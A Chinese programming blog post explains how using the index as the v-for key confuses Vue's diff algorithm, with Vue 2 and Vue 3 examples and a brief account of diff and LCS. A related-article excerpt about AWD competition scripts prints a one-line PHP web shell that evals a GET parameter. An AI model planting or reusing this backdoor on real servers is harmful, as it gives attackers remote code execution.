Diff 算法的误判

起源:

设想一下,假如你桌面上的文件都没有文件名,取而代之的是,你使用通过文件的位置顺序即index来区分它们———第一个文件,第二个文件,以此类推。也许这种方式可行,可是一旦你删除了其中的一个文件,这种组织方式就会变得混乱无比。原来的第二个文件可能会变成第一个文件,第三个文件会成为第二个文件……引出我们的主角问题:for循环的:key的值使用index绑定,当循环列表条目变化更新,导致虚拟 DOM Diff 算法认为原有项被替换,而更新

// vue2写法 错误例子
<template><div><button @click="addItem">添加项目</button><button @click="removeItem">删除项目</button><ul><li v-for="(item, index) in list" :key="index">{{ item.name }} (index: {{ index }})</li></ul></div>
</template><script>
export default {data() {return {list: [{ name: 'Item 1' },{ name: 'Item 2' },{ name: 'Item 3' }]};},methods: {addItem() {this.list.splice(1, 0, { name: `New Item` }); // 在索引1的位置插入一个新项},removeItem() {this.list.splice(0, 1); // 删除索引0位置的项}}
};
</script>
// vue3 错误例子
<template><div><button @click="addItem">添加项目</button><button @click="removeItem">删除项目</button><ul><li v-for="(item, index) in list" :key="index">{{ item.name }} (index: {{ index }})</li></ul></div>
</template><script>
import { ref } from 'vue';export default {setup() {// 定义列表为响应式数据const list = ref([{ name: 'Item 1' },{ name: 'Item 2' },{ name: 'Item 3' }]);// 添加项目方法const addItem = () => {list.value.splice(1, 0, { name: 'New Item' }); // 在索引1的位置插入一个新项};// 删除项目方法const removeItem = () => {list.value.splice(0, 1); // 删除索引0位置的项};return {list,addItem,removeItem};}
};
</script>

解决方法:

不要使用 index 作为 key,而是使用数据中的唯一标识符或者随机数,这样可以避免 Diff 算法的误判,确保列表在更新时能够正确地追踪每个项的状态,提升渲染性能。

//vue2写法
<template><div><button @click="addItem">添加项目</button><button @click="removeItem">删除项目</button><ul><li v-for="item in list" :key="item.id">{{ item.name }} (id: {{ item.id }})</li></ul></div>
</template><script>
export default {data() {return {list: [{ id: generateRandomId(), name: 'Item 1' },{ id: generateRandomId(), name: 'Item 2' },{ id: generateRandomId(), name: 'Item 3' }]};},methods: {addItem() {// 使用随机 id 添加新项this.list.push({ id: generateRandomId(), name: `New Item` });},removeItem() {this.list.splice(0, 1); // 删除索引0位置的项}}
};// 生成随机 id 的函数
function generateRandomId() {return Math.floor(Math.random() * 1000000); // 生成一个 6 位的随机数
}
</script>
// vue3 写法,正确例子
<template><div><button @click="addItem">添加项目</button><button @click="removeItem">删除项目</button><ul><li v-for="item in list" :key="item.id">{{ item.name }} (id: {{ item.id }})</li></ul></div>
</template><script>
import { ref } from 'vue';export default {setup() {// 定义列表为响应式数据const list = ref([{ id: generateRandomId(), name: 'Item 1' },{ id: generateRandomId(), name: 'Item 2' },{ id: generateRandomId(), name: 'Item 3' }]);// 生成随机 id 的函数function generateRandomId() {return Math.floor(Math.random() * 1000000); // 生成一个 6 位的随机数}// 添加项目方法const addItem = () => {list.value.push({ id: generateRandomId(), name: 'New Item' });};// 删除项目方法const removeItem = () => {list.value.splice(0, 1); // 删除索引0位置的项};return {list,addItem,removeItem};}
};
</script>

Diff算法学习:

概念:

Diff算法主要通过比较两个数据结构,并找出最小的插入、删除或修改操作,将一个数据结构变成另一个。例如,在比较两个字符串或数组时,算法会找出最小的变化(即最少的增删改操作),使一个序列变成另一个。

原理:

Diff 算法的主要思想是找到两个序列之间的最长公共子序列,从而计算出需要的修改步骤。通常通过动态规划来实现 LCS,从而计算出最小的修改路径

Diff 算法步骤通常如下:

  1. 比较两个数据结构的每一个元素。
  2. 如果两个元素相同,则无需操作,直接继续。
  3. 如果两个元素不同,则记录变化的操作(例如插入、删除或替换)。
  4. 重复以上步骤,直到找到最优路径。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/474374.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Java Springboot幼儿园管理系统

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

Misc_01转二维码(不是二进制)

例题ctfhub/隐写v2.0 打开是一张图片 文件分离得到zip&#xff0c;爆破密码得到7878 打开得到0和1&#xff0c; !!!不是二进制转图片&#xff0c;直接是二维码 缩小能看到 000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000…

5.4.2-1 编写Java程序在HDFS上创建文件

本次实战涉及使用Java操作Hadoop HDFS&#xff0c;包括创建文件、判断文件存在性及异常处理。通过手动添加依赖、启动HDFS服务&#xff0c;成功在HDFS上创建和检查文件。进一步探索了文件操作的最佳实践&#xff0c;如检查文件存在性以避免重复创建&#xff0c;以及处理HDFS安全…

MySQL时间字段TIMESTAMP和DATETIME

SELECT global.time_zone, session.time_zone;查询数据库的全局时区和当前会话的时区信息&#xff0c;一般如果使用navicat进行连接&#xff0c;没有显示指定时区信息&#xff0c;会默认使用system_time_zone。 可以使用 SET time_zone 08:00; SELECT global.time_zone, sess…

Android集成FCM(Firebace Cloud Messaging )

集成FCM官方文档 Firebace主页面 将 Firebase 添加到您的 Android 应用 1、进入Firebace页面&#xff0c;创建自己的项目 2、点击自己创建好的项目&#xff0c;在右侧选择Cloud Messaging 3、点击Android去创建 google-services.json 4、将下载的 google-services.json 文件…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

【JavaEE初阶 — 多线程】定时器的应用及模拟实现

目录 1. 标准库中的定时器 1.1 Timer 的定义 1.2 Timer 的原理 1.3 Timer 的使用 1.4 Timer 的弊端 1.5 ScheduledExecutorService 2. 模拟实现定时器 2.1 实现定时器的步骤 2.1.1 定义类描述任务 定义类描述任务 第一种定义方法 …

一文了解 inductive bias(归纳偏好)

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 归纳偏好&#xff08;Inductive Bias&#xff09;是机器学习中的一个非常基础但又非常重要的概念。为了更好地理解它&#xff0c;我们先从 “归纳” 和 “偏好” 这两个词开始讲解。 什么是归纳&#x…

【电子设计】按键LED控制与FreeRTOS

1. 安装Keilv5 打开野火资料,寻找软件包 解压后得到的信息 百度网盘 请输入提取码 提取码:gfpp 安装526或者533版本都可以 下载需要的 F1、F4、F7、H7 名字的 DFP pack 芯片包 安装完 keil 后直接双击安装 注册操作,解压注册文件夹后根据里面的图示步骤操作 打开说明 STM…

ROS Action

在 ROS 中&#xff0c;Action 是一种支持长时间异步任务的通信机制。与 Service 不同&#xff0c;Action 允许客户端发起一个请求&#xff0c;并在任务执行的过程中不断接收反馈&#xff0c;直到任务完成。这种机制非常适用于可能需要较长时间来完成的任务&#xff0c;比如机器…

Siglus引擎 Unpack | 未完待续

前言 未完待续。 代码在这里&#xff1a;https://github.com/N0zoM1z0/SiglusEngine-Extract 以后随时会更新。&#xff08;&#xff09; 因为我是选择直接逆向游戏引擎&#xff0c;在无源码&#xff0c;不hook的情况下硬逆Siglus…… 路漫漫。。。 read.sav 可以直接逆Sigl…

Windows docker下载minio出现“Using default tag: latestError response from daemon”

Windows docker下载minio出现 Using default tag: latest Error response from daemon: Get "https://registry-1.docker.io/v2/": context deadline exceeded 此类情况&#xff0c;一般为镜像地址问题。 {"registry-mirrors": ["https://docker.re…

ue中使用webui有效果白色拖动条 有白边

这种类型&#xff0c;分析发现跟ue没有关系 是网页代码的问题 可以在外头加个overflow: hidden; <body style"height: 100%; margin: 0;overflow: hidden;">完美解决

记录java Collections.sort踩的坑

前言 java Collections.sort 排序失效&#xff1f;为什么会排序失效呢&#xff1f; 需求和问题 需求&#xff1a;获取指定文件夹下的所有文件&#xff0c;并且按照修改时间顺序从大到小排序&#xff0c;如果修改时间相同&#xff0c;则按照创建时间从大到小排序 // 输入lis…

MODBUS TCP转CANOpen网关

Modbus TCP转CANopen网关 型号&#xff1a;SG-TCP-COE-210 产品用途 本网关可以实现将CANOpen接口设备连接到MODBUS TCP网络中&#xff1b;并且用户不需要了解具体的CANOpen和Modbus TCP 协议即可实现将CANOpen设备挂载到MODBUS TCP接口的 PLC上&#xff0c;并和CANOpen设备…

为何数据库推荐将IPv4地址存储为32位整数而非字符串?

目录 一、IPv4地址在数据库中的存储方式&#xff1f; 二、IPv4地址的存储方式比较 &#xff08;一&#xff09;字符串存储 vs 整数存储 &#xff08;二&#xff09;IPv4地址"192.168.1.8"说明 三、数据库推荐32位整数存储方式原理 四、存储方式对系统性能的影响…

《译文》2024年11月数维杯国际大学生数学建模挑战赛题目

# 赛题正式发布 2024年第十届数维杯国际大学生数学建模挑战赛顺利开赛&#xff0c;竞赛开始时间为北京时间2024年11月15日09:00至北京时间2024年11月19日09:00&#xff0c;共计4天&#xff0c;竞赛题目正式发布&#xff0c;快来一起围观&#xff0c;你认为今年的哪个题目更具有…

机器学习(贝叶斯算法,决策树)

朴素贝叶斯分类 贝叶斯分类理论 假设现有两个数据集&#xff0c;分为两类 我们现在用p1(x,y)表示数据点(x,y)属于类别1(图中红色圆点表示的类别)的概率&#xff0c;用p2(x,y)表示数据点(x,y)属于类别2(图中蓝色三角形表示的类别)的概率&#xff0c;那么对于一个新数据点(x,y)…

【会话文本nlp】对话文本解析库pyconverse使用教程版本报错、模型下载等问题解决超参数调试

前言&#xff1a; 此篇博客用于记录调用pyconverse库解析对话文本时遇到的问题与解决思路&#xff0c;以供大家参考。 文章目录 pycoverse介绍代码github链接问题解决1 [cannot import name ‘cached_download‘ from ‘huggingface_hub‘ 问题解决](https://blog.csdn.net/wei…

5G的SUCI、SUPI、5G-GUTI使用场景及关系

使用场景(来源于对23.501、23.502、33.501、23.003的理解) 1、UE初始注册时&#xff0c;根据HN Public Key把SUPI加密成SUCI&#xff0c;并发送初始注册请求 2、AMF转发SUCI给AUSF和UDM进行认证&#xff0c;并获取解密后的SUPI 3、AMF根据SUPI生成一个5G-GUTI&#xff0c;并保…